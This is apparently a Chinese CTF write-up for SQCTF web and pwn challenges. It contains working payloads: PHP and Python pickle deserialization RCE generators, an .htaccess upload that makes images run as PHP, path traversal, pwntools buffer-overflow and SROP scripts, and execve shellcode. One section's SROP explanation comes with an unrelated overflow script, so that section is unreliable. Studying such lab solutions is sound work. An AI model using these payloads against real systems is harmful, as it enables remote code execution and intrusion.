print_r(file_get_contents('flag.php')); 如果 flag 在 flag.php 文件中。

2

3 处理私有属性: PHP 序列化私有属性时,格式比较特殊,它包含空字节(null byte)和类名:

\0ClassName\0PropertyName。对于 Genshin_impact 类的私有属性 $value,序列化后的键名会是 \0Genshin_impact\0value。

4

5 绕过过滤器: 过滤器 str_replace("%", "nonono", $payload) 会替换 %。当我们把序列化字符串通过 URL 的 GET 参数传递时,需要进行 URL 编码。空字节 \0 在 URL 编码中通常表示为

%00。其他字符如 " (%22), : (%3a), { (%7b), } (%7d) 等也会被编码成带 % 的形式。

6

7 关键点: PHP 在处理 $_GET 参数时,会先自动进行 URL 解码,然后再将解码后的值赋给 $payload变量。这意味着,如果我们在 URL 中传递 %00,$_GET['payload'] 实际接收到的会是真正的空字节 \0。

8

9 之后,str_replace("%", "nonono", $payload) 会在已经解码(包含实际 \0 但不包含 % 字符)的字符串上执行。因为它查找的是字面上的 % 字符,而此时字符串中已经没有 % 了(都被解码了),所以这个过滤器实际上是无效的,它并不能阻止我们传入包含空字节的序列化字符串。

10

11 执行: 当 unserialize() 函数成功处理我们构造的、包含恶意代码的序列化字符串后,会创建一个 Genshin_impact 对象。当脚本执行结束时,该对象的 destruct 方法被调用,eval() 执行了我们注入的 $value 值,从而达到任意代码执行的目的。


<?php
class Genshin_impact {
    private $value;
    public function __construct($command) {
        $this->value = $command;
    }
}

$a = new Genshin_impact("system('cat /flag');");
echo urlencode(serialize($a));
?>


图片展示功能

没过滤 .htaccess

上传 .htaccess 解析 png 为 php

POST / HTTP/1.1
Host: challenge.qsnctf.com:30295
Content-Length: 1732

------WebKitFormBoundarygVqvMd7UNZVomkgj
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: application/octet-stream

<IfModule mime_module>
AddHandler php5-script .png
SetHandler application/x-httpd-php
</IfModule>
------WebKitFormBoundarygVqvMd7UNZVomkgj
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygVqvMd7UNZVomkgj--



pickle


可以解码base64 的pickle

写一个加密代码,在web端进行解密(AI生成一下)

import pickle
import base64

# !!! 极度危险 - 仅供教育目的 !!!
# 此代码生成一个 Pickle Payload,反序列化时会执行命令并返回其输出。

class EvalPopenReadExploit(object):
    def __reduce__(self):
        """
        使用 eval() 来执行一个包含 os.popen().read() 的字符串。
        这允许在反序列化时执行命令并捕获其标准输出。
        """
        # 要执行的命令
        command_to_execute = 'cat /flag' # 确保这里的命令是正确的

        print(f"[*] 正在准备 Payload 以执行并读取命令: '{command_to_execute}'")

        # 构建要在 eval() 中执行的字符串
        # __import__('os') 是在没有提前 import os 时导入模块的方法
        # .popen(cmd) 执行命令并返回文件对象
        # .read() 读取文件对象的全部内容(即命令输出)
        code_string = f"__import__('os').popen('{command_to_execute}').read()"

        # __reduce__ 返回 (可调用对象, (参数元组,))
        # 可调用对象是内置的 eval 函数
        # 参数是包含要执行的代码字符串的元组
        return (eval, (code_string,))

# --- 生成 Payload ---

try:
    # 1. 创建恶意类的实例
    exploit_instance = EvalPopenReadExploit()

    # 2. 使用 pickle.dumps() 将实例序列化为字节串
    #    可以使用 protocol=pickle.HIGHEST_PROTOCOL 或其他版本,默认通常是兼容性较好的选择
    payload_bytes = pickle.dumps(exploit_instance, protocol=4) # 指定协议版本可能更接近原始Payload
    # payload_bytes = pickle.dumps(exploit_instance) # 使用默认协议

    print(f"[*] Pickle 序列化完成 ({len(payload_bytes)} 字节).")

    # 3. 将序列化后的字节串进行 Base64 编码
    base64_encoded_payload = base64.b64encode(payload_bytes)

    # 4. 将 Base64 编码后的字节串解码为 UTF-8 字符串
    payload_string = base64_encoded_payload.decode('utf-8')

    print("\n--- 生成的 Base64 编码 Payload (使用 eval 和 popen().read()) ---")
    print(payload_string)
    print("--- Payload 结束 ---")

    print("\n!!! 安全警告 !!!")
    print("上面的字符串是 Base64 编码的 Pickle Payload。")
    # 通过再次调用 __reduce__ 来获取命令,避免硬编码
    cmd_str = EvalPopenReadExploit().__reduce__()[1][0]
    print(f"如果一个易受攻击的 Python 应用程序使用 pickle.load() 或 pickle.loads()")
    print(f"反序列化这个 Payload,它将执行: eval('{cmd_str}')")
    print(f"这会导致执行命令 '{command_to_execute}' 并尝试将命令输出作为反序列化的结果返回。")
    print("请负责任地、合乎道德地使用这些信息。")

except Exception as e:
    print(f"[!] 生成 Payload 时出错: {e}")

千查万别

存在任意文件读取

1 http://challenge.qsnctf.com:30194/view?doc=../../../../proc/1/task/1/environ


ggoodd


<?php
highlight_file(__FILE__);
include ("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=='abc'&&$json['x']=="cba")
{
    echo $flag;
}
?>
  1. $id=$_POST['id'];: 从 HTTP POST 请求中获取名为 id 的参数值,并赋给 $id 变量。
  2. $json=json_decode($_GET['json'],true);: 从 HTTP GET 请求中获取名为 json 的参数值,并尝试将其作为 JSON 字符串解码。true 参数表示如果解码成功,结果将是一个关联数组(而不是对象)。解码结果赋给 $json 变量。
  3. if ($id\=='abc'&&$json['x']\=="cba"): 这是一个条件判断语句。

$id\=='abc': 检查 $id 变量的值是否 等于 字符串 'abc'。注意这里用的是 \==(弱类型比较),而不是 \=\==(强类型比较)。

$json['x']\=="cba": 检查 $json 数组中键(key)为 'x' 的元素的值是否 等于 字符串 "cba"。同样是弱类型比较。

&&: 逻辑与操作符,表示两个条件必须同时为真。

  1. { echo $flag; }: 如果上述 if 条件为真,则执行此代码块,输出 $flag 变量的值。

绕过方法:

  1. $id == 'abc': 我们需要通过 POST 方法发送一个请求,并且在请求的数据体(body)中包含参数 id=abc。
  2. $json['x'] == "cba":

我们需要通过 GET 方法(即在 URL 的查询字符串中)发送一个名为 json 的参数。 这个 json 参数的值必须是一个有效的 JSON 字符串。

当这个 JSON 字符串被 json_decode(..., true) 解码后,得到的数组必须包含一个键 'x',并且这个键对应的值必须等于 "cba"。最简单的满足这个条件的 JSON 字符串是 {"x":"cba"}。


1 curl -X POST -d "id=abc" "http://challenge.qsnctf.com:31208/? json=%7B%22x%22%3A%22cba%22%7D"


开发人员的小失误

dirsearch 扫到备份文件

下载下来

PWN

浅红欺醉粉,肯信有江梅

nc上去cat flag


sqctf{a43fa604c90343f19358ef4fc1b7788d}

当时只道是寻常


使用srop进行利用:这里使用的write read都是系统调用,没有使用libc,这里使用syscall执行execve操作,传入/bin/sh地址

由于程序直接使用系统调用 (sys_read, sys_write) 并且没有链接 libc,Sigreturn Oriented Programming (SROP) 是一种非常有效的利用方法。

目标是执行 execve("/bin/sh", NULL, NULL) 这个系统调用来获取 shell。execve 的系统调用号在

64 位 Linux 下是 59。

SROP 步骤:

  1. 通过栈溢出覆盖返回地址。
  2. 将返回地址覆盖为一个 pop rax; ret gadget 的地址 (0x40104a)。
  3. 在 pop rax; ret 地址后面紧跟着放置 15 (十进制),这是 sigreturn 系统调用的编号。这样 pop rax 就会把 15 加载到 rax 寄存器。
  4. 在 15 后面放置一个 syscall 指令的地址 (0x401045)。pop rax; ret 中的 ret 指令会跳转到这里。
  5. 执行 syscall。因为此时 rax 是 15,内核会执行 sigreturn 操作。
  6. sigreturn 会从栈上恢复所有通用寄存器的值。我们需要在 syscall 地址后面精心构造一个 SigreturnFrame 结构体。
  7. 在这个 SigreturnFrame 中,我们将设置:

rax = 59 (execve 的系统调用号)

rdi = 0x40203A ("/bin/sh" 字符串的地址) rsi = 0 (argv = NULL)

rdx = 0 (envp = NULL)

rip = 0x401045 (再次指向 syscall 指令的地址)

rsp = 一个合适的栈地址 (确保 sigreturn 后栈指针有效,例如 0x402044 或更高一点的可写地址)。

  1. 当 sigreturn 执行完毕,寄存器被恢复,rip 指向 syscall。
  2. 程序再次执行 syscall。此时 rax 是 59,内核会执行 execve("/bin/sh", NULL, NULL)。
  3. 成功获取 Shell。


from pwn import *

# 设置目标程序运行环境
context.arch = 'amd64' # 根据实际情况可能需要调整为 'i386'
context.log_level = 'debug' # 显示详细的调试信息

# 连接到远程服务器或启动本地进程
# p = process("./pwn01") # 本地测试时使用
p = connect("challenge.qsnctf.com", 31107) # 连接远程目标

# 计算填充v4所需的字节数
# v4 大小为 76 (0x4C) 字节
# v5 紧随其后,偏移量为 rbp-0x4
# 从 v4 的起始 (rbp-0x50) 到 v5 的起始 (rbp-0x4) 需要 0x50 - 0x4 = 0x4C = 76 字节
padding_size = 76

# 构造 payload
# 我们需要填充 v4 (76 字节),然后覆盖 v5 (4 字节)
# 用任意非零字符填充即可,比如 'A' (ASCII 0x41)
# 总共需要 76 + 4 = 80 个字节
payload = b'A' * padding_size + p32(1) # 发送76个'A',然后发送一个非零整数(例如 1) 来覆盖 v5
# 或者更简单地,发送80个'A',因为'A'的ASCII码非零,覆盖v5后其值也非零
# payload = b'A' * 80

# 接收欢迎信息
print(p.recvuntil(b"Virtual cat girl loves to eat characters\n").decode('utf-8'))

# 发送 payload
# gets 函数会读取直到换行符,所以用 sendline 发送 payload 并加上换行符
p.sendline(payload)
print(f"[*] 发送 Payload: {payload}")

# 进入交互模式,接收后续输出(可能包含 flag)
p.interactive()

# 关闭连接
p.close()


sqctf{0e0bcbb0ee544445a30e14e2a8ecc365}

领取你的小猫娘

V4溢出到v5,进入backdoor

我们需要向 gets 输入足够多的数据,填满 v4 的 76 个字节,然后再写入至少 1 个字节来覆盖 v5 的最低位,使其变为非零。

填充 v4 需要 76 个字节。

覆盖 v5(它是一个 4 字节的 int)需要至少 1 个非零字节,最多 4 个字节。

所以,我们至少需要发送 76 + 1 = 77 个字节。发送 80 个字节 (76 + 4) 可以完全覆盖 v5。

from pwn import *

# 设置目标程序运行环境
context.arch = 'amd64' # 根据实际情况可能需要调整为 'i386'
context.log_level = 'debug' # 显示详细的调试信息

# 连接到远程服务器或启动本地进程
# p = process("./cat") # 本地测试时使用
p = connect("challenge.qsnctf.com", 32736) # 连接远程目标

# 计算填充v4所需的字节数
# v4 大小为 76 (0x4C) 字节
# v5 紧随其后,偏移量为 rbp-0x4
# 从 v4 的起始 (rbp-0x50) 到 v5 的起始 (rbp-0x4) 需要 0x50 - 0x4 = 0x4C = 76 字节
padding_size = 76

# 构造 payload
# 我们需要填充 v4 (76 字节),然后覆盖 v5 (4 字节)
# 用任意非零字符填充即可,比如 'A' (ASCII 0x41)
# 总共需要 76 + 4 = 80 个字节
payload = b'A' * padding_size + p32(1) # 发送76个'A',然后发送一个非零整数(例如 1) 来覆盖 v5
# 或者更简单地,发送80个'A',因为'A'的ASCII码非零,覆盖v5后其值也非零
# payload = b'A' * 80

# 接收欢迎信息
print(p.recvuntil(b"Virtual cat girl loves to eat characters\n").decode('utf-8'))

# 发送 payload
# gets 函数会读取直到换行符,所以用 sendline 发送 payload 并加上换行符
p.sendline(payload)
print(f"[*] 发送 Payload: {payload}")

# 进入交互模式,接收后续输出(可能包含 flag)
p.interactive()

# 关闭连接
p.close()



sqctf{f6faa9df9a684cacb74b235c9cba4652}

我觉君非池中物,咫尺蛟龙云雨

输入的保存到指定可执行内存中,然后进行执行shell,注意shellcode小于0x20,使用简单的shellcode

C 代码分析:

  1. char s[40];: 在栈上分配了一个 40 字节的缓冲区 s。
  2. v5 = readfsqword(0x28u);: 读取栈保护 Canary 的值,用于防止栈溢出。
  3. setbuf(...);: 禁用了标准输入、输出、错误的缓冲区,使得交互更即时。
  4. mprotect((void *)((unsigned int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);: 这是关键的一步。

&stdout: 获取 stdout 文件流结构体的地址(通常在 .bss 或 .data 段)。

& 0xFFFFFFFFFFFFF000LL: 将地址向下对齐到最近的内存页边界(4096 字节)。

0x1000uLL: 指定要修改权限的内存区域大小(一页,4096 字节)。

7: 权限设置为 PROT_READ | PROT_WRITE | PROT_EXEC (读=4, 写=2, 执行=1)。

结论: 这行代码将包含 stdout 的那个内存页设置为了可读、可写、可执行 (RWX)。

  1. memset(s, 0, 0x20uLL);: 清空了栈缓冲区 s 的前 32 个字节(这似乎与漏洞利用关系不大)。
  2. puts(...);: 打印提示信息。
  3. read(0, &buff, 0x20uLL);: 从标准输入(文件描述符 0)读取最多 0x20(即 32)字节的数据,并存放到名为 buff 的地址处。注意: 从上下文和后续调用来看,buff 很有可能不是栈上的 s,而

是 mprotect 修改过的那个可执行内存区域中的某个地址。程序允许我们将数据直接读入这个可执行内存。

  1. ((void (*)(void))buff)();: 将 buff 强制转换为一个无参数、无返回值的函数指针,并直接调用它。

漏洞利用:

程序将用户输入的数据读取到一个通过 mprotect 设置为可执行的内存区域 (buff),然后立即跳转到这个区域执行。这是一个典型的“写入可执行内存并执行”的漏洞。我们只需要提供一段能够执行 /bin/sh 的 shellcode,并且其长度不超过 read 函数限制的 0x20 (32) 字节即可。

Shellcode 选择:

shellcode \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x9 9\x0f\x05 是一段经典的 64 位 Linux下 execve("/bin//sh", NULL, NULL) 的 shellcode,长度为 23 字 节,小于 32 字节的限制,非常适合这个场景。

\x48\x31\xf6: xor rsi, rsi (rsi=NULL, execve 的第二个参数 argv) \x56: push rsi (将 NULL 压栈)

\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68: movabs rdi, 0x68732f2f6e69622f (将 "/bin//sh" 的

ASCII 码(小端序)放入 rdi)

\x57: push rdi (将字符串 "/bin//sh" 压栈)

\x54: push rsp (将栈顶指针,也就是指向 "/bin//sh" 的指针,压栈)

\x5f: pop rdi (将栈顶指针弹出到 rdi, rdi 指向 "/bin//sh",作为 execve 的第一个参数) \x6a\x3b: push 0x3b (将 execve 的系统调用号 59 压栈)

\x58: pop rax (将 59 弹出到 rax,作为系统调用号)

\x99: cdq (将 rax 符号扩展到 rdx,因为 rax=59 是正数,所以 rdx=0, 作为 execve 的第三个参数

envp)

\x0f\x05: syscall (执行系统调用 execve("/bin//sh", NULL, NULL))


# -*- coding: utf-8 -*-
from pwn import *

# 设置 Pwntools 上下文
context.log_level = 'debug'  # 设置日志级别为 debug,方便调试
context.arch = 'amd64'     # 指定目标架构为 amd64

# 连接到远程服务器
# 如果在本地测试,可以使用 p = process('./pwn')
p = remote('challenge.qsnctf.com', 30762)

# execve("/bin/sh", NULL, NULL) 的 shellcode (23 字节)
# 这段 shellcode 功能是执行 /bin/sh,获取一个 shell
# 它的长度小于 read 函数允许的最大长度 0x20 (32 字节)
payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

# 程序会等待输入,我们直接发送 shellcode
# 因为 read(0, &buff, 0x20) 会读取最多 0x20 字节
# 发送的 payload 会被写入到 buff 指向的可执行内存区域
p.send(payload)

# 发送 shellcode 后,程序会跳转执行 ((void (*)(void))buff)();
# 此时 shellcode 会执行,给我们一个交互式的 shell
# p.interactive() 将控制权交给用户,可以与获取到的 shell 进行交互
p.interactive()



sqctf{64349c1be0a845c88d7b0a327d3caf16}



赌书消得泼茶香

主函数

base64加密函数


找到后门函数

代码审计与漏洞发现:

首先快速浏览代码(汇编或反编译的 C 代码),寻找用户输入点和潜在的不安全操作。

发现 scanf("%s", s) 读取用户输入到栈上的 s 缓冲区,存在明显的栈溢出漏洞(记为漏洞1)。输入长度未检查。

发现程序对输入进行 Base64 解码 (sub_401320),并将结果用 memcpy(dest, src, v4 + 1) 复制到栈上的 dest 缓冲区。

分析 memcpy 的长度参数 v4 + 1,发现 v4 来自 strlen(s),即原始 Base64 输入的长度。

而 src 指向的是解码后的数据,长度通常小于原始输入长度。这会导致 memcpy 复制时源数据不足(堆内存越界读取 OOB Read)并且目标缓冲区 dest 也可能溢出(记为漏洞2)。

注意到 memcpy 操作位于 if (src) 判断之后,其中 src 是 Base64 解码函数的返回值。这意味着只有 Base64 解码看起来“成功”(返回非 NULL 指针)时,才会触发 memcpy。

初步漏洞利用尝试与分析 (可能遇到的问题):

尝试漏洞1 (scanf 溢出): 直接用长字符串覆盖返回地址,尝试 ROP (Return-Oriented Programming) 跳转到 system("/bin/sh") 或后门函数 sub_40141D。

问题: scanf 溢出覆盖返回地址的同时,也会覆盖位于 rbp-8h 的 src 指针变量。随后, Base64 解码函数 sub_401320 即使失败(因为输入是无效的 "AAA..."),也可能返回非 NULL(指向一个小的、无效解码结果的堆块)。这个非 NULL 指针会写入 src 变量。if (src) 判断因此通过,程序错误地进入 memcpy 分支。memcpy 尝试从无效的 src 读取大量数据,导致程序在 ROP 链执行前就因段错误而崩溃。此路不通。

尝试漏洞2 (memcpy 溢出 + 标准 ROP): 构造二进制 ROP Payload(例如 Return-to-libc

或 ret -> shell_func),对其进行 Base64 编码后发送。

过程: 程序读取 Base64 -> 解码成功 (src 非 NULL) -> 进入 if 分支 -> memcpy 将解码后的二进制 Payload 复制到 dest,触发溢出,覆盖返回地址。ROP 链被成功放置。

问题: memcpy 的长度参数基于 Base64 输入长度,大于解码后的数据长度,导致从堆上越界读取 (OOB Read) 垃圾数据,并写入到栈上 ROP 链之后的位置。当 main 返回, ROP 链开始执行时,更高地址的栈已被 OOB Read 的垃圾数据污染。这很可能破

坏 system 函数或 /bin/sh 运行所需的栈环境,导致 ROP 链执行失败或 shell 启动后立即退出 (表现为 EOF)。此路在复杂 ROP 或 Return-to-libc 时很可能不通。

结合成功经验,确定可行路径:

回顾发现,有一个简单的脚本(利用 memcpy 溢出,配合 ret -> shell_func ROP 链)能够成功。

这表明,虽然 memcpy 的 OOB Read 副作用存在,但在该特定环境和这个极简 ROP 链下,其破坏性不足以阻止 sub_40141D(后门函数)的成功执行。

最终解题步骤:

选择漏洞: 利用 memcpy 栈溢出 (漏洞2)。

触发条件: 必须将最终的二进制 Payload 进行 Base64 编码后发送,以确保 sub_401320 返回非 NULL 指针,从而进入 memcpy 所在的分支。

计算偏移量: 确定从 memcpy 的目标缓冲区 dest (位于 rbp-60h) 到返回地址 (位于 rbp+8h) 的偏移量是 0x60 + 0x08 = 104 字节。

寻找地址:

后门函数(直接调用 system("/bin/sh"))的地址:0x40141D (sub_40141D)。 一个简单的 ret 指令的地址(用于 ROP 链):例如 0x40101a。

构造二进制 Payload:

payload = [104字节的任意填充数据] + [ret gadget 的地址] + [后门函数的地址]

例如: payload = b'A' * 104 + p64(0x40101a) + p64(0x40141D)

Base64 编码:

encoded_payload = base64.b64encode(payload)

发送与交互:

连接到目标服务器和端口。 接收初始提示信息。

发送 encoded_payload (带换行符)。

程序会执行解码、打印 "You win."、执行 memcpy(覆盖返回地址+OOB Read)、函数返回、执行 ROP 链 (ret -> 0x40141D),最终获得 shell。

进入交互模式 (interactive())。

from pwn import *
import base64

# 连接目标
p = remote('challenge.qsnctf.com', 32348) # 使用能成功的端口

# --- 核心 Payload ---
# 偏移量 (dest -> ret addr) + ret 地址 + shell 函数地址
payload_raw = b'A' * 104 + p64(0x40101a) + p64(0x40141D)

# Base64 编码
payload_b64 = base64.b64encode(payload_raw)
# --------------------

# 等待提示并发送 Payload
p.sendlineafter(b'now?\n', payload_b64)

# 获取 Shell
p.interactive()


萧萧黄叶闭疏窗

开辟rwx的内存空间,然后进行写入。

这里将shellcode写入到payload中,然后复制内存的时候将dest溢出,传入payload的首地址进行执行

shellcode.


  1. from pwn import *
  2. context.log_level='debug'
  3. context.arch='amd64'
  4. context.os='linux'
  5. #p=process('./bad')
  6. p=remote('challenge.qsnctf.com', '30568')
  7. shellcode = asm(shellcraft.sh())
  8. payload = shellcode + b'a'*(0x10+8) + p64(0x4040a0)
  9. p.sendline(payload)
  10. p.interactive()


借的东风破金锁




直接输入key就行了,但是需要小段写入


  1. from pwn import *
  2. p=remote('challenge.qsnctf.com', '31213')
  3. p.sendline(p64(0x53514e55435446))
  4. p.interactive()